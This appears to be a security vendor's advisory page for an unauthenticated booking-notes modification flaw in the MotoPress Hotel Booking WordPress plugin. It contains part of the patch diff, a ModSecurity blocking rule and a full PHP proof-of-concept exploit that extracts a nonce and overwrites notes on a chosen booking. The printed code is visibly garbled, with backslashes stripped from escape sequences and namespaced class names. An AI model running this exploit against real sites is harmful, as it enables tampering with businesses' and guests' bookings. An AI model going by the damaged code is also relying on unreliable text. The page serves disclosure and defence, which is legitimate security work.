+				htmlspecialchars_decode(
+					htmlentities( $bodyWithoutUnprocessableTags, ENT_NOQUOTES, self::ENCODING, false ),
+					ENT_NOQUOTES
+				),
+				array( 0x80, 0x10FFFF, 0, ~0 ),
+				self::ENCODING
+			);
 		} else {
 			return htmlspecialchars_decode( utf8_decode( htmlentities( $bodyWithoutUnprocessableTags, ENT_COMPAT, self::ENCODING, false ) ) );
 		}
--- a/motopress-hotel-booking-lite/includes/polyfills/mbstring.php
+++ b/motopress-hotel-booking-lite/includes/polyfills/mbstring.php
@@ -121,6 +121,116 @@
 	}
 }

+if ( ! function_exists( 'mb_encode_numericentity' ) ) {
+	/**
+	 * @link https://github.com/symfony/polyfill-mbstring
+	 *
+	 * @since 6.x.x
+	 */
+	function mb_encode_numericentity($s, $convmap, $encoding = null, $is_hex = false)
+	{
+		if ( $s !== null && ! is_scalar( $s ) && ! ( is_object( $s ) && method_exists( $s, '__toString' ) ) ) {
+			trigger_error( 'mb_encode_numericentity() expects parameter 1 to be string, ' . gettype( $s ) . ' given', E_USER_WARNING );
+
+			return null;
+		}
+
+		if ( ! is_array( $convmap ) || ( PHP_VERSION_ID < 80000 && ! $convmap ) ) {
+			return false;
+		}
+
+		if ( $encoding !== null && ! is_scalar( $encoding ) ) {
+			trigger_error( 'mb_encode_numericentity() expects parameter 3 to be string, ' . gettype( $s ) . ' given', E_USER_WARNING );
+
+			return null;  // Instead of '' (cf. mb_decode_numericentity)
+		}
+
+		if ( $is_hex !== null && ! is_scalar( $is_hex ) ) {
+			trigger_error( 'mb_encode_numericentity() expects parameter 4 to be boolean, ' . gettype( $s ) . ' given', E_USER_WARNING );
+
+			return null;
+		}
+
+		$s = (string) $s;
+
+		if ( $s === '' ) {
+			return '';
+		}
+
+		$encoding = mb_validate_encoding( $encoding );
+
+		if ( $encoding === 'UTF-8' ) {
+			$encoding = null;
+			if ( ! preg_match( '//u', $s ) ) {
+				$s = @iconv( 'UTF-8', 'UTF-8//IGNORE', $s );
+			}
+		} else {
+			$s = iconv( $encoding, 'UTF-8//IGNORE', $s );
+		}
+
+		static $ulenMask = array( "xC0" => 2, "xD0" => 2, "xE0" => 3, "xF0" => 4 );
+
+		$cnt = floor( count( $convmap ) / 4 ) * 4;
+		$i = 0;
+		$len = strlen( $s );
+		$result = '';
+
+		while ( $i < $len ) {
+			$ulen = $s[ $i ] < "x80" ? 1 : $ulenMask[ $s[ $i ] & "xF0" ];
+			$uchr = substr( $s, $i, $ulen );
+			$i += $ulen;
+			$c = mb_ord( $uchr );
+
+			for ( $j = 0; $j < $cnt; $j += 4 ) {
+				if ( $c >= $convmap[ $j ] && $c <= $convmap[ $j + 1 ] ) {
+					$cOffset = ( $c + $convmap[ $j + 2 ] ) & $convmap[ $j + 3 ];
+					$result .= $is_hex ? sprintf( '&#x%X;', $cOffset ) : '&#' . $cOffset . ';';
+					continue 2;
+				}
+			}
+
+			$result .= $uchr;
+		}
+
+		if ( $encoding === null ) {
+			return $result;
+		}
+
+		return iconv( 'UTF-8', $encoding . '//IGNORE', $result );
+	}
+}
+
+if ( ! function_exists( 'mb_ord' ) ) {
+	/**
+	 * @link https://github.com/symfony/polyfill-mbstring
+	 *
+	 * @since 6.x.x
+	 */
+	function mb_ord( $s, $encoding = null )	{
+		$encoding = mb_validate_encoding( $encoding );
+
+		if ( $encoding !== 'UTF-8' ) {
+			$s = mb_convert_encoding( $s, 'UTF-8', $encoding );
+		}
+
+		if ( strlen( $s ) === 1 ) {
+			return ord( $s );
+		}
+
+		$code = ( $s = unpack( 'C*', substr( $s, 0, 4 ) ) ) ? $s[1] : 0;
+
+		if ( $code >= 0xF0 ) {
+			return ( ( $code - 0xF0 ) << 18 ) + ( ( $s[2] - 0x80 ) << 12 ) + ( ( $s[3] - 0x80 ) << 6 ) + $s[4] - 0x80;
+		} elseif ( $code >= 0xE0 ) {
+			return ( ( $code - 0xE0 ) << 12 ) + ( ( $s[2] - 0x80 ) << 6 ) + $s[3] - 0x80;
+		} elseif ( $code >= 0xC0 ) {
+			return ( ( $code - 0xC0 ) << 6 ) + $s[2] - 0x80;
+		}
+
+		return $code;
+	}
+}
+
 if ( ! function_exists( 'mb_validate_encoding' ) ) {
 	/**
 	 * @link https://github.com/symfony/polyfill-mbstring
--- a/motopress-hotel-booking-lite/includes/post-types/booking-cpt.php
+++ b/motopress-hotel-booking-lite/includes/post-types/booking-cpt.php
@@ -160,7 +160,7 @@
 				'mphb_note',
 				array(
 					'type'  => 'textarea',
-					'rows'  => 8,
+					'rows'  => 3,
 					'label' => __( 'Customer Note', 'motopress-hotel-booking' ),
 				)
 			),
--- a/motopress-hotel-booking-lite/includes/post-types/service-cpt.php
+++ b/motopress-hotel-booking-lite/includes/post-types/service-cpt.php
@@ -214,6 +214,16 @@

 		$priceGroup->addField( $priceQuantityField );

+		$priceGroup->addField(
+			FieldsFieldFactory::create(
+				'mphb_help_notice',
+				array(
+					'type'        => 'placeholder',
+					'description' => '<i>' . __('Note: this service will appear at checkout only if it is selected in the accommodation type settings.', 'motopress-hotel-booking') . '</i>',
+				)
+			)
+		);
+
 		return array( $priceGroup );
 	}

--- a/motopress-hotel-booking-lite/includes/repositories/blocks-repository.php
+++ b/motopress-hotel-booking-lite/includes/repositories/blocks-repository.php
@@ -463,7 +463,7 @@
 		$queryArgs += array(
 			'orderby'  => array( 'block_id' => 'ASC' ),
 			'page'     => 1,
-			'per_page' => self::ITEMS_PER_PAGE,
+			'per_page' => $this->getDefaultItemsPerPage(),
 		);

 		// countItems() changes this part to "SELECT COUNT(*)"
@@ -521,7 +521,7 @@
 		}

 		// Build LIMIT SQL
-		if ( $queryArgs['per_page'] !== -1 ) {
+		if ( $queryArgs['per_page'] > 0 ) {
 			$itemsOffset = ( $queryArgs['page'] - 1 ) * $queryArgs['per_page'];

 			$preparedSql .= $wpdb->prepare( " LIMIT %d, %d", $itemsOffset, $queryArgs['per_page'] );
--- a/motopress-hotel-booking-lite/includes/settings/license-settings.php
+++ b/motopress-hotel-booking-lite/includes/settings/license-settings.php
@@ -136,13 +136,17 @@
 	}

 	/**
-	 *
 	 * @return bool
 	 */
 	public function isEnabled() {
 		return false;
 	}

+	public function isVisible(): bool {
+		return false;
+
+	}
+
 	/**
 	 *
 	 * @return stdClass|null
--- a/motopress-hotel-booking-lite/includes/users-and-roles/capabilities-and-roles.php
+++ b/motopress-hotel-booking-lite/includes/users-and-roles/capabilities-and-roles.php
@@ -19,6 +19,7 @@
 	const VIEW_CUSTOMERS        = 'mphb_view_customers';
 	const EDIT_CUSTOMER         = 'mphb_edit_customer';
 	const DELETE_CUSTOMER       = 'mphb_delete_customer';
+	const EDIT_BOOKINGS         = 'edit_mphb_bookings';

 	/**
 	 * @var array
--- a/motopress-hotel-booking-lite/includes/users-and-roles/customers.php
+++ b/motopress-hotel-booking-lite/includes/users-and-roles/customers.php
@@ -284,8 +284,6 @@
 	 * @return WP_Error|true
 	 */
 	public static function validateCustomer( $customer ) {
-		global $wpdb;
-
 		if ( ! $customer->getEmail() ) {
 			return new WP_Error( 'empty_email', __( 'Please, provide a valid email.', 'motopress-hotel-booking' ) );
 		}
--- a/motopress-hotel-booking-lite/motopress-hotel-booking.php
+++ b/motopress-hotel-booking-lite/motopress-hotel-booking.php
@@ -4,7 +4,7 @@
  * Plugin Name: Hotel Booking Lite
  * Plugin URI: https://motopress.com/products/hotel-booking/
  * Description: Manage your hotel booking services. Perfect for hotels, villas, guest houses, hostels, and apartments of all sizes.
- * Version: 6.0.1
+ * Version: 6.0.2
  * Requires at least: 5.2
  * Requires PHP: 7.4
  * Author: MotoPress
--- a/motopress-hotel-booking-lite/plugin.php
+++ b/motopress-hotel-booking-lite/plugin.php
@@ -1732,7 +1732,6 @@
 	public function initAutoUpdater() {

 		if ( $this->settings->license()->isEnabled() ) {
-
 			$pluginData = $this->getPluginData();

 			$apiData = array(
@@ -1743,6 +1742,9 @@
 			);

 			new MPHBLibrariesEDD_Plugin_UpdaterEDD_Plugin_Updater( MPHB()->settings()->license()->getStoreUrl(), self::$_pluginFile, $apiData );
+		}
+
+		if ( $this->settings->license()->isVisible() ) {
 			new MPHBLicenseNotice( MPHB_PLUGIN_FILE );
 		}
 	}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-8684
# Block unauthenticated modification of booking notes via AJAX
# Targets the mphb_update_booking_notes action in MotoPress Hotel Booking plugin
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20268684,phase:2,deny,status:403,chain,msg:'CVE-2026-8684 - MotoPress Hotel Booking Unauthenticated Booking Notes Modification',severity:'CRITICAL',tag:'CVE-2026-8684'"
  SecRule ARGS_POST:action "@streq mphb_update_booking_notes" "chain"
    SecRule ARGS_POST:booking_id "@rx ^[0-9]+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8684 - MotoPress Hotel Booking <= 6.0.1 - Missing Authorization to Unauthenticated Arbitrary Booking Notes Modification via mphb_update_booking_notes AJAX Action

$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$booking_id = 123; // Target booking ID to modify
$new_notes = 'Injected note - This booking has been compromised.';

// Step 1: Fetch the target page to extract the nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200) {
    die("Failed to fetch target page. HTTP code: $http_coden");
}

// Extract nonce from JavaScript variable MPHB._data.nonces
preg_match('/"update_booking_notes":"([a-f0-9]+)"/', $response, $matches);
if (!isset($matches[1])) {
    // Try alternative pattern
    preg_match('/MPHB._data.nonces.*?"update_booking_notes":"([a-f0-9]+)"/s', $response, $matches);
}

if (!isset($matches[1])) {
    die("Failed to extract nonce for update_booking_notes. The plugin may not be active or the page does not include the nonce.n");
}

$nonce = $matches[1];
echo "[+] Extracted nonce: $noncen";

// Step 2: Send the AJAX request to modify booking notes
$post_data = array(
    'action'       => 'mphb_update_booking_notes',
    'booking_id'   => $booking_id,
    'notes'        => $new_notes,
    'mphb_nonce'   => $nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response Body: $responsen";

// Check for success
if (strpos($response, 'success') !== false || strpos($response, 'true') !== false) {
    echo "[!] Vulnerability confirmed: Booking notes modified without authentication.n";
} else {
    echo "[!] The request may have failed or the site is patched. Check response above.n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School